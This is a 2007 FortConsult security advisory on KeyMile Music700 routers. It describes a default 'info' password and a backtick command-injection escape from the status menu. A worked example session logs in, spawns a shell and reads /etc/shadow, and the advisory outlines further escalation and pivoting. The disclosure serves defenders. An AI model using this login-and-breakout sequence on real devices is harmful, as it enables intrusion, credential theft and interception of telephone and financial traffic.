

**FORTCONSULT**

*Straight talk on IT security*

# SECURITY ADVISORY March 2007

Music700 router / VoIP remote command exec



Discovered in March 2007 by FortConsult Security Research Team/Andrew Christensen

## **Table of Contents**

The Security Research Team.....	2
Brief Issue Description.....	3
Affected Components.....	3
Finding Affected Sites With This Issue.....	3
Known Vulnerable Platforms.....	3
Issue History .....	4
Example Attack .....	4
Further Local Exploitation.....	5
Further Exploitation from the Music700 Device.....	5
Issue Mitigation .....	5
CVSS Issue Severity Scores.....	6

## **About FortConsult**

FortConsult is a specialist in technical services within the field of IT security. We are vulnerability experts that help business enterprises to protect themselves against the numerous security threats that exist today – both as impartial consultants and with responsibility for specific tasks. Our primary services are security tests and practically-oriented security consultancy.

FortConsult is an unbiased, vendor independent security consulting company, based in Copenhagen, Denmark, and operating throughout Europe.

We are experts in discovering and managing vulnerabilities in applications and in IT infrastructure such as network equipment and servers.

We are also certified by VISA and MasterCard to perform PCI Data Security Standard audits.

If you would like to hear more about our services, or need assistance in solving a specific security problem, please visit [www.fortconsult.net](http://www.fortconsult.net) or call +45 7020 7525.

## **Copyright and Disclaimer**

The information in this advisory is Copyright 2007 FortConsult A/S. It is provided so that our customers and others understand the risk they may be facing by running affected software on their systems.

In case you wish to copy information from this advisory, you must either copy all of it or refer to this document (including our URL).

No guarantee is provided for the accuracy of this information, or damage you may cause your systems in testing.

## **The Security Research Team**

This advisory has been discovered by FortConsult's Security Research Team (team-member: Andrew Christensen), as part of a general investigation into the security of software used in the IT environments of our financial services customers.

## ***Brief Issue Description***

An attacker can gain control of the affected router / VoIP switch device, and use it to launch attacks, to bypass IP-based access controls by coming from an address owned by the target enterprise, or (with additional compromise tools) sniff all traffic passing the affected router device.

This issue results from three underlying technical problems:

1. A default username / password “info” is configured on these devices, and is used for gaining access to a “status display” menu
2. The “status display” menu should only allow displaying information, but has a bug where an attacker can break out and can execute commands using backticks
3. The embedded Linux system on which this is based has several vulnerabilities and may not be adequately hardened

## ***Affected Components***

The “Music 700” is a router / POTS telephone provisioning system, where data and voice services are delivered digitally from a central office. The device is essentially a small Linux-based computer with a MIPS CPU. It is manufactured by KeyMile, an Austrian telecom equipment engineering firm. One of KeyMile’s resellers, South-African “Global Communications”, described the product as:

Definition: Remote DSL desktop unit with 8 x POTS interfaces and 1 x 10BaseT Ethernet interface.

Application: Used for provisioning of up to 8 x POTS with high speed Ethernet service and/or leased line data (X.21 / V.35 / Ethernet) service Note: UMUX (with LESA8 / SLIM1 ) must be within 4 - 8 Km of MUSIC700

## ***Finding Affected Sites With This Issue***

There is no overview list which can be used by malicious attackers to find affected sites. SSH username / password bruteforce scanning may find some of the affected devices. Naturally, KeyMile and its resellers should be able to determine what customers may be affected by this issue.

FortConsult first located this issue after a group of hackers had left a list of hostnames found by their SSH brute-force scanner on a compromised machine where we performed forensics.

## ***Known Vulnerable Platforms***

FortConsult has based this advisory on several specific units which we have had information about or access to. Other versions may be vulnerable as well but have not been tested. The devices to which we have had access had the following version information displayed:

### Music700 lambda Software Versions

Application Version	ML700:R2A13:200305151300
Bios Version	ADAM2:R1C01:200304041557
Distribution Version	ML700:R2A13:200305151810
Kernel Version	M2417:R1C01:200305151804

"uname" output: Linux Music700 2.4.17\_mvl21-malta-mips\_fp\_le #1 Thu May 15 18:04:23 CEST 2003 mips unknown

## ***Issue History***

February 2007	Discovery of Music700 systems shown in list of compromised machines found by SSH bruteforce scanner on system where forensics were performed.
February 2007	Analysis of Music700 device at FortConsult customer
March 2007	Disclosure to KeyMile Systems
April 2007	Tentative disclosure date

## ***Example Attack***

The following shows FortConsult connecting to a Music700 device, breaking out of the status shell, and displaying the /etc/shadow file. Once the status shell has been escaped from it would also be possible to do things like running exploit tools against the local machine or against other machines on the internet.

```
$ ssh info@target.router.ru /bin/sh
Password: info
```

[Note - we are now connect as "info" to music700]

```
Note: /etc/modules.conf is more recent than
/usr/music700/lib/modules/2.4.17_mvl
21-malta-mips_fp_le/modules.dep
ping `/bin/sh`
```

[Note - we are now at an "invisible" shell prompt]

```
/bin/sh -i 1>&2
sh: no job control in this shell
```

[Note - we are now at a visible shell prompt]

```
readline: warning: rl_prep_terminal: cannot get terminal
settingsssh-2.05a$ id
uid=2000(info) gid=2000(info)
```

[Note - we have "info" privileges]

```
readline: warning: rl_prep_terminal: cannot get terminal
settingsssh-2.05a$ cat /etc/shadow
root:<censored>:10925:0:99999:7:::
bin:*:10925:0:99999:7:::
daemon:*:10925:0:99999:7:::
sys:*:10925:0:99999:7:::
adm:*:10925:0:99999:7:::
lp:*:10925:0:99999:7:::
sync:*:10925:0:99999:7:::
shutdown:*:10925:0:99999:7:::
halt:*:10925:0:99999:7:::
```

```
mail:*:10925:0:99999:7:::
news:*:10925:0:99999:7:::
uucp:*:10925:0:99999:7:::
operator:*:10925:0:99999:7:::
games:*:10925:0:99999:7:::
ftp:*:10925:0:99999:7:::
man:*:10925:0:99999:7:::
nobody:*:10925:0:99999:7:::
debug:<censored>:10925:0:99999:7:::
info:<hash of word info>:11950:0:99999:7:::
readline: warning: rl_prep_terminal: cannot get terminal
settingsssh-2.05a$
```

[Note - we now have the /etc/shadow file]

### ***Further Local Exploitation***

The Linux version in use on these devices has a number of local kernel exploits. However, the exploit tools and the vulnerabilities themselves all relate to Linux running on x86 CPUs, whereas this device is running on MIPSSEL. More analysis is required to determine if any of these exploits would work.

The well-known 'chsh' exploit does not require shellcode, however it will not work as the passwd file is located on a read-only filesystem.

Several apparent vectors of attack exist however: the files and scripts used by the system's automatic update mechanism (which appears to run as root) are world-writable.

Also, since the UNIX crypt() passwd hashes could be recovered, it should be possible to break all of the password hashes in a reasonably short period of time.

It may also be possible to locate vulnerabilities in the Zebra routing daemon which is running as root.

Once an attacker has root level access, they could use Linux networking functions to redirect traffic to a remote server where an attacker can analyze all of it. Since the Music700 devices are used for telephone traffic, and since the devices are in use at some brokerages and financial institutions, this could be a serious issue.

### ***Further Exploitation from the Music700 Device***

Naturally, it is possible to run Linux programs which have been compiled for a MIPS CPU. This could be used to reach IP addresses within an enterprise which are only accessible from its own IP scope, or to run tools like proxies that mask the source of attack-related traffic.

### ***Issue Mitigation***

It is not possible to mitigate this issue directly, as the system has the /etc/passwd file as well as the status display login shell located on a read-only filesystem. Therefore it is not possible to disable or change the password for the default accounts, and it is not possible to fix the info shell.

KeyMile systems will need to create a software fix.

## CVSS Issue Severity Scores

The issues described in this advisory have received a base score of 7.0. The score is based on the following criteria.

FortConsult has used the online CVSS calculator found at <http://www.patchadvisor.com/PatchAdvisor/CVSSCalculator.aspx> to calculate these scores.

### BASE METRICS: 7.0

Access Vector:	Remote
Access Complexity:	Low (default password, then simple backtick command execution)
Authentication:	Not Required (required, but universally available)
Confidentiality Impact:	Partial (requires additional compromise for full C-level impact)
Integrity Impact:	Partial (requires additional compromise for full I-level impact)
Availability Impact:	Partial (requires additional compromise for full A-level impact)
Impact Bias:	Confidentiality

### TEMPORAL METRICS: 7.0

Exploitability:	Functional
Remediation Level:	Not available
Report Confidence:	Confirmed (internally within FortConsult)

### ENVIRONMENT METRICS: 7.2

Collateral Damage:	Medium
Target Distribution:	Low

**FORTCONSULT**

*Straight talk on IT security*